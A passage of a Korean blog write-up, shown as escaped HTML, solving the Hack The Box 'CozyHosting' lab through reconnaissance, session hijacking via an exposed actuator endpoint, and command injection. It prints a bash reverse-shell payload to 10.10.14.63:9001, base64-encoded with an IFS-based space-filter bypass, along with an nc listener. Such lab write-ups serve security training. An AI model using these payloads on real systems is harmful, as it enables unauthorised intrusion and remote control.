6[_0x388803(0xfd)]=_0xd72dc,_0x2117e2[_0x388803(0x10e)](_0x3ed036,_0x407aa0);}
&lt;/script&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 정보 수집&lt;/h2&gt;
&lt;h4 id=&quot;toc1&quot; style=&quot;background-color: #ffffff; color: #5c5c5c; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1.1. nmap을 활용한 스캔&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1707745625446&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nmap -sV 10.10.11.230 -T5&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1895&quot; data-origin-height=&quot;608&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nYjMz/btsEJbny3o7/GNTaXl2EIEKccNnlQZtEbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nYjMz/btsEJbny3o7/GNTaXl2EIEKccNnlQZtEbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nYjMz/btsEJbny3o7/GNTaXl2EIEKccNnlQZtEbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnYjMz%2FbtsEJbny3o7%2FGNTaXl2EIEKccNnlQZtEbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1895&quot; height=&quot;608&quot; data-origin-width=&quot;1895&quot; data-origin-height=&quot;608&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style3&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%; text-align: center;&quot;&gt;&lt;b&gt;IP Address&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; text-align: center;&quot;&gt;&lt;b&gt;Ports Open&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%; text-align: center;&quot;&gt;10.10.11.230&lt;/td&gt;
&lt;td style=&quot;width: 50%; text-align: center;&quot;&gt;TCP: 22, 80&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;pre id=&quot;code_1707745870404&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;dirsearch -u http://cozyhosting.htb/&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1845&quot; data-origin-height=&quot;1675&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t7TDV/btsEFkzfR3O/kkk3sESnaHfD1hXWWTOH61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t7TDV/btsEFkzfR3O/kkk3sESnaHfD1hXWWTOH61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t7TDV/btsEFkzfR3O/kkk3sESnaHfD1hXWWTOH61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft7TDV%2FbtsEFkzfR3O%2Fkkk3sESnaHfD1hXWWTOH61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1845&quot; height=&quot;1675&quot; data-origin-width=&quot;1845&quot; data-origin-height=&quot;1675&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dirsearch 도구를 사용해서 웹 사이트에 존재하는 여러가지 디렉터리를 찾았고 그 중&amp;nbsp; '/actuator/sessions' 디렉터리를 확인해볼것이다.&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707750311496&quot; class=&quot;awk&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;sudo mousepad /etc/hosts&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1913&quot; data-origin-height=&quot;595&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n7RS6/btsEGRpAAQj/dMWU3sfsZrHjfQxRW2SkB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n7RS6/btsEGRpAAQj/dMWU3sfsZrHjfQxRW2SkB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n7RS6/btsEGRpAAQj/dMWU3sfsZrHjfQxRW2SkB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn7RS6%2FbtsEGRpAAQj%2FdMWU3sfsZrHjfQxRW2SkB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1913&quot; height=&quot;595&quot; data-origin-width=&quot;1913&quot; data-origin-height=&quot;595&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'/actuator/sessions' 디렉터리를 확인하기전에 10.10.11.230(공격대상)을 cozyhosting.htb로 매핑해줘야 웹 브라우저를 통해 접근이 가능하다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;2. 초기 접근&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.1. 세션 탈취&lt;/h4&gt;
&lt;pre id=&quot;code_1707746233233&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://cozyhosting.htb/actuator/sessions&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;884&quot; data-origin-height=&quot;255&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdiqYN/btsEIQcJ6x3/8bSkcPpeP36oyW6uDAQLV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdiqYN/btsEIQcJ6x3/8bSkcPpeP36oyW6uDAQLV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdiqYN/btsEIQcJ6x3/8bSkcPpeP36oyW6uDAQLV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdiqYN%2FbtsEIQcJ6x3%2F8bSkcPpeP36oyW6uDAQLV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;884&quot; height=&quot;255&quot; data-origin-width=&quot;884&quot; data-origin-height=&quot;255&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'/actuator/sessions' 디렉터리에 접근하면 세션 값을 확인할 수 있고 밑에서 해당 세션을 통해 로그인을 시도할 것이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.2. Command Injection&lt;/h4&gt;
&lt;pre id=&quot;code_1707746415194&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Cookie: JSESSIONID=EEFD4DB0661F959332F0F8EF0EEBEF14&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1005&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/danuMj/btsEGjNpyi1/T3pyRiXPkLcm09d3WclJK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/danuMj/btsEGjNpyi1/T3pyRiXPkLcm09d3WclJK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/danuMj/btsEGjNpyi1/T3pyRiXPkLcm09d3WclJK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdanuMj%2FbtsEGjNpyi1%2FT3pyRiXPkLcm09d3WclJK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1005&quot; height=&quot;300&quot; data-origin-width=&quot;1005&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'burp suite'도구를 사용해서 로그인 페이지를 캡쳐하고 JSESSIONID를 'kanderson'의 SESSIONID로 설정해주면 된다.(SESSIONID는 변경되므로 위의 이미지와 무관하다.)&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707746486376&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://cozyhosting.htb/admin&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1915&quot; data-origin-height=&quot;1621&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zITdP/btsEJczZIgV/b6PBphehK7HERbASSgLKo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zITdP/btsEJczZIgV/b6PBphehK7HERbASSgLKo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zITdP/btsEJczZIgV/b6PBphehK7HERbASSgLKo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzITdP%2FbtsEJczZIgV%2Fb6PBphehK7HERbASSgLKo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1915&quot; height=&quot;1621&quot; data-origin-width=&quot;1915&quot; data-origin-height=&quot;1621&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 계정의 Dashboard로 이동하면서 로그인을 성공한것을 확인할 수 있다. 다음으로 Connection Settings의 input(Hostname, Username)을 확인해 볼 것이다.&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707746798195&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;host=127.0.0.1&amp;amp;username='&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;397&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/edipVG/btsEFfrjCDy/bgAzD8EKjORef3HDoBf6z1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/edipVG/btsEFfrjCDy/bgAzD8EKjORef3HDoBf6z1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/edipVG/btsEFfrjCDy/bgAzD8EKjORef3HDoBf6z1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FedipVG%2FbtsEFfrjCDy%2FbgAzD8EKjORef3HDoBf6z1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1008&quot; height=&quot;397&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;397&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3b3f4e; text-align: left;&quot;&gt;해당 메시지는 bash 셸 스크립트에서 종료되지 않은 따옴표(') 때문에 발생하는 문제를 나타냅니다. 즉 command injection이 발생할 수 있음을 알 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707747065467&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;host=127.0.0.1&amp;amp;username=echo+&quot;bash+-i+&amp;gt;%26+/dev/tcp/10.10.14.63/9001+0&amp;gt;%261&quot;+|+bash&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1006&quot; data-origin-height=&quot;434&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lgTa7/btsEKFovUeK/IA6mqZkyk0swRssQ1KI351/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lgTa7/btsEKFovUeK/IA6mqZkyk0swRssQ1KI351/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lgTa7/btsEKFovUeK/IA6mqZkyk0swRssQ1KI351/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlgTa7%2FbtsEKFovUeK%2FIA6mqZkyk0swRssQ1KI351%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1006&quot; height=&quot;434&quot; data-origin-width=&quot;1006&quot; data-origin-height=&quot;434&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'echo &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.63/9001 0&amp;gt;&amp;amp;1&quot; | base' &lt;span style=&quot;color: #3b3f4e; text-align: left;&quot;&gt;&amp;nbsp;명령어는 '리버스 셸(reverse shell)'을 생성하는 bash 명령어다. 이 명령어를 실행하면, 현재 시스템에서 새로운 bash 셸이 생성되고, 이 셸의 입력과 출력이 &lt;/span&gt;10.10.14.63&lt;span style=&quot;color: #3b3f4e; text-align: left;&quot;&gt;의 &lt;/span&gt;9001&lt;span style=&quot;color: #3b3f4e; text-align: left;&quot;&gt; 포트로 리디렉션된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3b3f4e; text-align: left;&quot;&gt;해당 명령어의 결과로는 빈공간(space)를 필터링하고 있음을 알 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707747625169&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;echo &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.63/9001 0&amp;gt;&amp;amp;1&quot; | base64 -w 0&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1905&quot; data-origin-height=&quot;143&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clbtuP/btsEF6m7qG1/qh5KJOj9B9rhiC9T6qZ4Mk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clbtuP/btsEF6m7qG1/qh5KJOj9B9rhiC9T6qZ4Mk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clbtuP/btsEF6m7qG1/qh5KJOj9B9rhiC9T6qZ4Mk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FclbtuP%2FbtsEF6m7qG1%2Fqh5KJOj9B9rhiC9T6qZ4Mk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1905&quot; height=&quot;143&quot; data-origin-width=&quot;1905&quot; data-origin-height=&quot;143&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.63/9001 0&amp;gt;&amp;amp;1&quot; 명령어를 base64로 인코딩한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707751169429&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;;echo${IFS%??}&quot;&amp;lt;reverse shell payload&amp;gt;&quot;${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1707747688229&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;;echo${IFS%??}&quot;YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42My85MDAxIDA+JjEK&quot;${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1007&quot; data-origin-height=&quot;538&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/miKGC/btsEFT9gq53/MEfmLU3f3waE3W9dr4h69k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/miKGC/btsEFT9gq53/MEfmLU3f3waE3W9dr4h69k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/miKGC/btsEFT9gq53/MEfmLU3f3waE3W9dr4h69k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmiKGC%2FbtsEFT9gq53%2FMEfmLU3f3waE3W9dr4h69k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1007&quot; height=&quot;538&quot; data-origin-width=&quot;1007&quot; data-origin-height=&quot;538&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;base64 인코딩된 reverse shell payload를 '| base64 -d' 디코딩 시키고,&amp;nbsp; '| bash' 쉘로 실행시킨다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707747836889&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nc -lvp 9001&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1903&quot; data-origin-height=&quot;257&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buNRF2/btsEGR4bwag/to0K5HmxDSQdckT95aS4SK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buNRF2/btsEGR4bwag/to0K5HmxDSQdckT95aS4SK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buNRF2/btsEGR4bwag/to0K5HmxDSQdckT95aS4SK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuNRF2%2FbtsEGR4bwag%2Fto0K5HmxDSQdckT95aS4SK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1903&quot; height=&quot;257&quot; data-origin-width=&quot;1903&quot; data-origin-height=&quot;257&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때, reverse 시킬 IP의 포트를 열어줘야 한다. 해당 IP 주소는 공격자의 IP의&amp;nbsp; 포트다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707748637935&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ls -alh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;373&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/batUVs/btsEJaIWZew/pniSN1O28QWPQxDvqgXw00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/batUVs/btsEJaIWZew/pniSN1O28QWPQxDvqgXw00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/batUVs/btsEJaIWZew/pniSN1O28QWPQxDvqgXw00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbatUVs%2FbtsEJaIWZew%2FpniSN1O28QWPQxDvqgXw00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1911&quot; height=&quot;373&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;373&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'id' 현재 권한은 일반 사용자 권한이다. root 권한으로 상승하기위한 방법을 찾아봐야 한다. cloudhosting-0.0.1.jar 자바 파일 포맷이 힌트가 될 것으로 에측있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.3 cloudhosting-0.0.1.jar 분석&lt;/h4&gt;
&lt;pre id=&quot;code_1707749013403&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;python3 -m http.server 4321&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1901&quot; data-origin-height=&quot;124&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bu7w3A/btsEHGBml9s/o3TSqa7MsdYIiamEh8HyC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bu7w3A/btsEHGBml9s/o3TSqa7MsdYIiamEh8HyC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bu7w3A/btsEHGBml9s/o3TSqa7MsdYIiamEh8HyC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbu7w3A%2FbtsEHGBml9s%2Fo3TSqa7MsdYIiamEh8HyC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1901&quot; height=&quot;124&quot; data-origin-width=&quot;1901&quot; data-origin-height=&quot;124&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http.server의 4321 포트를 열어서 공격자(kali)에서 해당 .jar 파일을 다운받고 분석할 것이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707748969445&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;wget http://10.10.11.230:4321/cloudhosting-0.0.1.jar&lt;/code&gt;&lt;/pre&gt;
